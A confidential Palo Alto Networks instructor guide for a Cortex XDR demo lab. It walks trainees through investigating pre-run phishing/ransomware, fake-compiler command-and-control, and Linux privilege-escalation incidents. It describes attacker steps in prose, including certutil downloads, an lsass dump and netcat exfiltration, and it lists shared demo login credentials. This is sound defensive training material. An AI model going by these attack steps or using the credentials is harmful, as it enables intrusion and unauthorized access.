XDR Demo Lab Guide

INSTRUCTOR GUIDE

VER 2.0, February 2023

1
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

Table of Contents
Cortex XDR Overview 3
Demo Environment 3

Accessing the XDR Management Console 4

Attack #1: Phishing and Ransomware 6

Using XDR to Investigate the Phishing Attempt 7
Investigating the execution from WINWORD.EXE 12
Execution summary of the phishing attack: 17

Attack #2 – Watering Hole Command & Control 18

Using XDR to Review the Command and Control Attack 20
Execution summary of the Command and Control Attack: 26

Attack #3 – Linux Privilege Escalation Exploit 27

Reviewing the Information from Lab 3 28
Investigating the Linux Exploit Attempt 28

Part 3 – XQL and XDR threat hunting 29

Using XQL 29
Threat Hunting Queries in Dashboards 32

Summary 34

2
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

Cortex XDR Overview
The Cortex XDR agent offers a complete prevention stack with cutting-edge protection for exploits,
malware, ransomware, and fileless attacks. It includes the broadest set of exploit protection modules
available to block the exploits that lead to malware infections. Every file is examined by an adaptive
AI-driven local analysis engine that’s always learning to counter new attack techniques. A Behavioral
Threat Protection engine examines the behavior of multiple related processes to uncover attacks
as they occur. Integration with the Palo Alto Networks WildFire malware prevention service boosts
security accuracy and coverage.

Demo Environment
The XDR Demo environment can help you show use cases based on your customer’s needs. To help
streamline the demo experience, you will only need to access the XDR management console. The
infected client devices have already been attacked but the attacks were unsuccessful due to the XDR
agent being installed on the client devices, detecting and then preventing the attacks. The three attacks
that were launched on the client devices are:
1. Phishing and ransomware attack
2. A “watering hole” command & control attack
3. A Linux privilege escalation exploit attack

Although the three attacks listed above have already been executed on client devices, it’s important to
know how these attacks were launched. The following sections will provide insight into the attacks, so as
you review them with the XDR management console, you will have a better understanding of how XDR
detected and prevented the attacks.
Note: Due to the size and display resolution, many of the screenshots in this document may appear
distorted. Highlights and arrows have been provided to help you understand where to click and what to
review on your screen. Your XDR management console will provide clear visibility into the data you
should review as you progress through this demonstration.

Additional Resources:
To help with your pre-sales engagements, additional XDR resources are available on the NextWave
Partner Portal such as customer presentations, how-to videos, competitive information and much more.
If you have any questions or issues pertaining to this lab, feel free to email
[email protected]

3
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

Accessing the XDR Management Console
This lab uses a cloud hosted XDR management console with a preconfigured user account. It is
important to use an incognito / private mode browser window to login to the cloud hosted XDR
console. If you do not use incognito / private mode, and/or use your NextWave SSO credentials when
prompted, you will be denied access as shown below.

1. Open an incognito / private mode tab and navigate to

https://xdrdemolab.xdr.us.paloaltonetworks.com/

2. When prompted to Sign In, please use one of the accounts listed below, then click Next and
enter the password. Note: Either of these accounts will allow you to login:

a. username: [email protected] // password: Password123!

b. username: [email protected] // password: Password123!

Remember, if you receive an Access Denied Error, then you are either not using an incognito / private
browser window and/or you have entered your SSO credentials, and not the ones listed above. Do not
proceed until you have successfully logged into the cloud managed XDR console.
4
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

Upon successfully logging into the XDR management console, you will land on the Incident Management
Dashboard as shown below:

You have now successfully logged into the XDR management console that will be used throughout the
lab exercises.

5
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

Attack #1: Phishing and Ransomware
Email attacks are a common method used to lure unsuspecting victims into clicking infected files or
directing them to malicious websites. As shown in the screenshot below, a user has received what
appears to be a legitimate email regarding an online order. However, the attachment is infected and is
looking to exploit an application vulnerability once the unsuspecting user opens it.

Hopefully your users are smart enough not to fall for such an obvious attempt. Unfortunately many
people are easily tricked and will open the attachment. However, with a properly configured XDR agent
installed, a phishing attempt like this will be detected and prevented as shown here:

6
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

Using XDR to Investigate the Phishing Attempt
NOTE: For this demonstration, we allowed the phishing attempt to succeed by disabling the XDR agent
and allowing the execution of the infected email attachment. By allowing the exploit to run, you will use
the XDR management console to gain visibility into all steps of the attack. Normally in a production
environment, you would never allow an exploit to run.
1. Return to the XDR management incognito / private mode tab you opened earlier. If you
accidentally closed the tab, and need to log back in, refer to the login instructions on page 4 of
this document. Remember, you must use an incognito / private browser mode along with the
credentials provided on page 4, or you will receive an Access Denied error.
Note: The XDR instance is read-only, so you will be able to view and filter alerts, incidents, and other
configurations/logs, but cannot make changes.

2. Using the menu options presented at the left of the XDR console, navigate to > Incident
Response > Incidents as shown here:

3. Click the trash can icon to remove any existing filter as shown here:

7
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

4. In this attack scenario, once the user opened the infected attachment, a ransomware payload
was triggered using a Command-and-Control dropper. Review the list of incidents along the left
side of the console, and locate the incident ID-3582 titled Hands-On Lab - Windows.

5. Click Incident ID-3582 to select it. The right half of the screen, XDR will summarize the alerts
and insights of the attack, providing the number & severity of alerts, the hosts and users
involved in the incident and MITRE ATT&CK Tactics and Techniques seen in the incident.

6. Note: If you do not see the Alerts & Insights option as shown above, you might be in the legacy
view. Make sure you are in the Advanced layout, but clicking the drop-down next to legacy view,
and toggling the view to the Advanced layout

8
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

7. Click the Overview tab, and then click the small down arrow in the MITRE ATT&CK section to
expand it as shown here:

8. Click the Include Incident Insights checkbox as shown below. This will provide more detailed
information about tactics and techniques identified in the incident:

9
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

9. Click the Key Assets & Artifacts tab. This view provides a list of files, hosts, and users that XDR
has automatically identified as involved in the security incident. As shown in this screenshot,
malicious files identified by wildfire will be highlighted in red. Click the WildFire Analysis Report
icon in the files description as shown here:

10. The analysis report shows you a detailed view of the processes and timeline of events that
occurred when the user double-clicked the infected invoice document. Shown below is the
analysis report of what WildFire captured. Explore this information, and then close the Wildfire
Analysis Report when you have finished reviewing the analysis.

10
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

11. To view a flowchart of what happened with the exploit attempt, click the Executions tab in the
incident view as shown here:

12. Click the Expand link on the right, and the flowchart will enlarge the view and provide more
detailed information about each step of the attack.

11
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

13. In the attack scenario which generated this alert, the unsuspecting user received a phishing
email with an infected Word document attached. When they double-clicked the attachment, the
exploit was launched. The causality flowchart shows each step of the attack and provides critical
information in the lower portion of the screen. As you can see below, XDR is monitoring the
WINWORD.EXE processes and logging all activities to help aid in understanding exactly what
transpired when the user launched the document. Shown below is the expanded view detailing
the flow of activities that were executed when the user double-clicked the infected document.
Use the + and - buttons in the upper-right to increase the magnification for easier viewing.

14. Locate the WINWORD.EXE process. Notice a small graphical representation of the execution
steps is shown. XDR also identifies the “Causality Group Owner”, with the CGO tag (in this
example, winword.exe). This is what XDR believes to be the root cause of the incident.

12
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

Investigating the execution from WINWORD.EXE
A malicious VBA macro script in a document read by WINWORD.exe initiates the attack intended to drop
and execute ransomware on the host. Let's walk through how this is accomplished.
1. Clicking through the nodes of the flowchart, beginning with winword.exe, you can view the
commands that were run and other evidentiary data to better understand exactly how the
attack was executed. First, click the WINWORD.EXE icon. You can see that winword.exe ran a
command to open “your_invoice.docm”, a macro-enabled word document that subsequently
perpetrated this attack.

2. Click the PROCESS tab below the graphical flowchart.

13
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

3. The process view shows data collected that you could use to get insight into what actions the
macro performed. For example, you can see system commands are used to collect
information about the host into a results.txt file (You might need to use the scroll bar at the
bottom to scroll right and see the full details):

4. Using the graphical flowchart, click the powershell.exe icon (there are multiple in the
flowchart; click the one that is to the left of reg.exe). Notice that PowerShell is being used
by the attacker to also disable the Windows firewall notifications in the registry:

14
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

5. Click on the powershell.exe that is immediately to the left of svchost.exe. Here you can see
that PowerShell was used to download something called “payload.txt” from
githubusercontent.com.

6. You can also view the Alerts tab for more contextual information about what happened at
this moment in time:

15
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

7. Notice that several nodes in the causality chain display red badges. These denote that an
alert (or alerts) were triggered at this stage of the attack. Each of these badges indicates an
opportunity XDR had to prevent this attack, but as mentioned earlier, XDR is in a “alert only”
mode for the purposes of this demonstration. These badges can be clicked to provide further
context to a given stage of an attack. Click the ! icon immediately above the svchost.exe to
the right of powershell.exe.

8. Continue walking through the remaining nodes to view more information about the attack.

9. Several executables have been highlighted in red. Click any of the exe files in the chain that
are highlighted in red. Like the Incident page, these indicate that Wildfire identified these as
malicious files. This information, along with the fact that they are unsigned is also presented
in the lower portion of the screen.

16
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

 10. Click the last node in the chain (ksmckmm.exe), and then click the ALERT tab. You can see
that XDR has not only identified the malware as a version of Teslacrypt ransomware, but,
because the dedicated anti-ransomware module is enabled in this endpoint’s XDR policy, the
data encryption was prevented.

11. Since XDR eventually prevented the ransomware from encrypting the drive, no immediate
action is necessary at this time, however analysts can use the data collected to better
understand the root cause and scope of an attack’s effect on the environment for
remediation.

12. Close the expanded chart view by clicking the X in the upper right of your screen (you will
not be able to access menu items until you close this window)

Execution summary of the phishing attack:

The XDR agent is actively monitoring various processes and looking for unusual events. Unlike traditional
antivirus that uses static rules and heuristics, XDR has the ability to detect suspicious activity inside
processes and successfully prevent attacks and exploits from occurring.

The amount of detailed data that the agent collects and forwards to the management console is critical
in helping an analyst fully understand all aspects of the attack.

Initially the XDR agent was set to an “Alert Only” mode which allowed the attack to execute, so that you
are able to gain deep insight into the data that is available. However, a properly configured XDR agent
will prevent these types of attacks and provide detailed visibility for the analyst.

17
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

Attack #2 – Watering Hole Command & Control
XDR analyzes raw security alerts and combines them into larger incidents. This allows a user to quickly
understand how individual security events are related and reduces alert fatigue by linking seemingly
disparate events into one group. Like in the previous example, the XDR protection has been temporarily
disabled so you can see how the attack is executed.
Below you will see where an unsuspecting user has been tricked into connecting to a malicious URL. The
user is a developer looking for a file they need to download in an effort to fix an issue they are having
with their code.

18
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

Once the user downloads and executes the infected file, the attack will succeed as shown below. As in
the previous demonstration, XDR will not prevent any actions taken as its policy is configured to alert
only
Remember, normally a properly configured XDR agent would prevent this type of activity from
succeeding. It is only allowed to successfully run so that you can visually see how the attack succeeded
when you review the activity using the XDR management console.

19
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

Using XDR to Review the Command and Control Attack
In this attack scenario, a developer downloaded and executed a file from a site pretending to be the
actual StackOverflow site, thinking it was going to help with a programming problem. However, an
attacker has used that site to link to a malware dropper disguised as a C compiler in hopes a developer
will use it. You will now use the XDR console to review the activity related to that lab.
1. Return to the XDR management console, and make sure you can see the open Incidents along
the left of your screen by clicking >Incident Response > Incidents on the navigation bar.
Locate and click incident ID-3582 as shown here:

2. Notice that Incident-3582 is the same incident used in the previous demonstration. As
mentioned earlier, this is because XDR can analyze multiple security alerts and combine them
into larger incidents. Click the Executions tab and then click the group owner: gcc64_win.exe
section:

20
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

3. Like in the previous exercise, click Expand, and then click through the nodes of the flowchart,
beginning with gcc64_win.exe to view the commands that were run and other evidentiary
data to better understand exactly how the attack was executed.

4. Here you can see that gcc64_win.exe was identified as malicious by Wildfire by its node being
red in the causality chain. gcc64_win.exe acts as a dropper in this attack to gather and
exfiltrate system information and credentials, and install Command and Control software,
and establish persistence. Let's walk through how this is accomplished.

21
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

5. Starting with the top cmd.exe node, you can see that certutil.exe is used to download a
suspicious file named “quasar.pdf.exe”

6. Click the certutil.exe node and then click the Network tab. Network connections are also
recorded by XDR so you can identify where this was downloaded from. You may need to
scroll through the various columns to find this information.

22
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

7. Typical C2 attacks aim to gain persistence. Click the second instance of gcc64_win.exe as
shown below, and then click the Process tab.

8. You can see a scheduled task is created to run “svchosts.exe” on startup under the name
“Google Cloud Agent”.

23
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

9. Looking at the FILE actions of gcc64_win.exe you can see the scvhosts.exe file used by the
task scheduler was also created during the attack (in addition to the information shown in
the screenshot below, there is a scroll bar below the rows of data. Scroll right to view
additional information collected by the XDR agent)

10. Click the dumpster.exe icon in the flowchart view. Upon establishing persistence via this
scheduled task, another executable downloaded by the dropper, “dumpster.exe” is used to
dump lsass in an attempt to harvest credentials, again triggering XDR alerts

24
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

11. Click on the second gcc64_win.exe node. You can also see that the dumpster.exe file was
downloaded using certutil.exe, a common file transfer method used by attackers.

12. Next, a dropped copy of nc.exe (netcat) is used to exfiltrate both the lsass memory dump and
the collected system information, which XDR notifies us about

25
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

 13. Finally, you can see that the dropper attempts to transfer its command-and-control agent via
the bitsadmin tool to move laterally and infect other hosts on the network to repeat this
attack.

Note: As this is a self-contained lab environment, the “lateral move” is actually just an upload to
localhost for purposes of demonstration.
This level of detail that XDR collects and presents to analysts is valuable if/when an attacker can bypass
an enterprise’s defenses, or when using “living off the land” techniques, enabling analysts to identify the
root cause and initial attack vector for future prevention, as well as ascertaining the scope of an attack’s
effect on the environment for remediation.

Execution summary of the Command and Control Attack:

Hopefully in a production environment, there are other frontline defenses in place to prevent users from
downloading a malicious EXE file from the internet and executing it on an endpoint device. However, if
someone uses a USB drive to launch the EXE, many first line defenses are bypassed, and a reliable
endpoint security defense is critical.

XDR not only will prevent these types of malicious files from being allowed to execute, but also provides
extensive analytics to the agent allowing deep forensic investigations to take place.

26
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

Attack #3 – Linux Privilege Escalation Exploit
This demonstration is designed specifically for users interested in XDR’s ability to prevent Linux privilege
escalation exploits. In this scenario, an attacker has gained command and control access and is
escalating their privileges to gain root access. This linux client does not have the XDR agent installed,
and as a result the exploit script successfully runs, and the attacker has gained root access as shown
here:

However, on a different Linux client, the XDR agent is installed and the attacker runs the same exploit
script hoping to gain root access. As shown below, XDR is configured to block such attacks and
successfully blocks the attempt.

27
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

Reviewing the Information from Lab 3
In the first two labs, XDR was configured in such a way that it allowed malicious activity to be
successfully executed so that you will have insightful data to review to demonstrate the level of granular
visibility provided by XDR.
In the third lab, a Linux client ran various scripts to attempt to exploit the system and gain escalated
privileges. However, because the XDR agent was properly configured, the exploit attempt was blocked.

Investigating the Linux Exploit Attempt

1. Using the menu options along the left side of the console, navigate to > Incident Response >
Incidents. Locate incident ID-3524 | Hands-On Lab - Linux. You’ll quickly notice there is far
less data for this incident, because unlike the other two attack scenarios that were allowed to
successfully execute, the XDR agent on the Linux client successfully blocked the exploit
attempt.

2. Click the Alert & Insights tab. You will see that XDR prevented the attempt to gain escalated
privileges as shown below (Note, you may need to collapse the incidents section on the left
of your screen and/or scroll right using the scroll bar at the bottom of your screen to see the
Action and Description fields)

3. Unlike the two previous scenarios, you won’t need to spend much time reviewing the XDR
data, other than to demonstrate how a properly configured agent can successfully stop
various attacks when properly configured.

28
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

Part 3 – XQL and XDR threat hunting
In addition to reviewing incidents like you have done in the previous exercises, you can also use XQL to
hunt for other instances of artifacts from an incident, or mine existing XDR and 3rd party data to surface
potential threats. For example, XDR collects Windows event logs which can be queried to surface
potential threats or areas of interest.

Using XQL
1. Using the left menu options, navigate to > Incident Response > Query Builder and then click
the XQL Search button. (Remember, if the menu options aren’t responding, make sure to
close the expanded flowchart view).

2. Click the Query Library tab and then type the word failed in the search box to narrow the list
of available queries and then click the Failed Windows Login Attempts.

29
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

3. The saved query will be displayed on the right of your display. Click the Use in Query link as
shown here:

4. Once loaded, you can view or modify the query as necessary as well as adjust the time frame.
The query also has comments to explain what each line does. Drag the separator bar down if
you need to see more of the query.

30
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

5. Before running the query, click the “Custom” link in the upper-right and set the time
frame to search from Nov 6 2022 - Nov 8 2022 to be certain you return a sufficient
number of results from the demo environment, then click “Run”.

6. After the query finishes running, the results will be displayed in the lower pane. You can see
a suspicious user has many failed login attempts. These types of security anomalies can be
the jumping-off point for a threat hunting investigation.

31
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

Threat Hunting Queries in Dashboards
1. Your XQL query results can also be displayed on a graph. Click the Graph icon in your results
window and assign data to the graph as follows:

● Graph Type: Column

● X-Axis Data: User_Name
● Y-Axis Data: Counter

2. These charts and queries can be saved as dashboard widgets so analysts can have quick
access to the information for future investigations. One such dashboard has been created
with several other example queries. Navigate to >Dashboards & Reports > Dashboard.

32
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

3. From the Dashboard page select the XQL Demo Dashboard from the dropdown menu.

4. You will see the failed login query and several other XQL charts and graphs displayed.

33
©2023 Palo Alto Networks

Confidential. Do Not Distribute.

Summary
This has been a brief walkthrough of some of Cortex XDR’s capabilities that can increase Security
Operations’ productivity by reducing investigation times and mean-time-to-response for analysts, as well
as surfacing previously unseen threat data.
In the three demo scenarios presented here, you were able to see the detailed analytics that the XDR
agent captures and forwards to the XDR management console. This rich data allows the analyst to fully
investigate the attack.
These examples showcase only a small portion of the overall capabilities of XDR. For a detailed
description of XDR capabilities, download the XDR datasheet HERE.

34
©2023 Palo Alto Networks

Confidential. Do Not Distribute.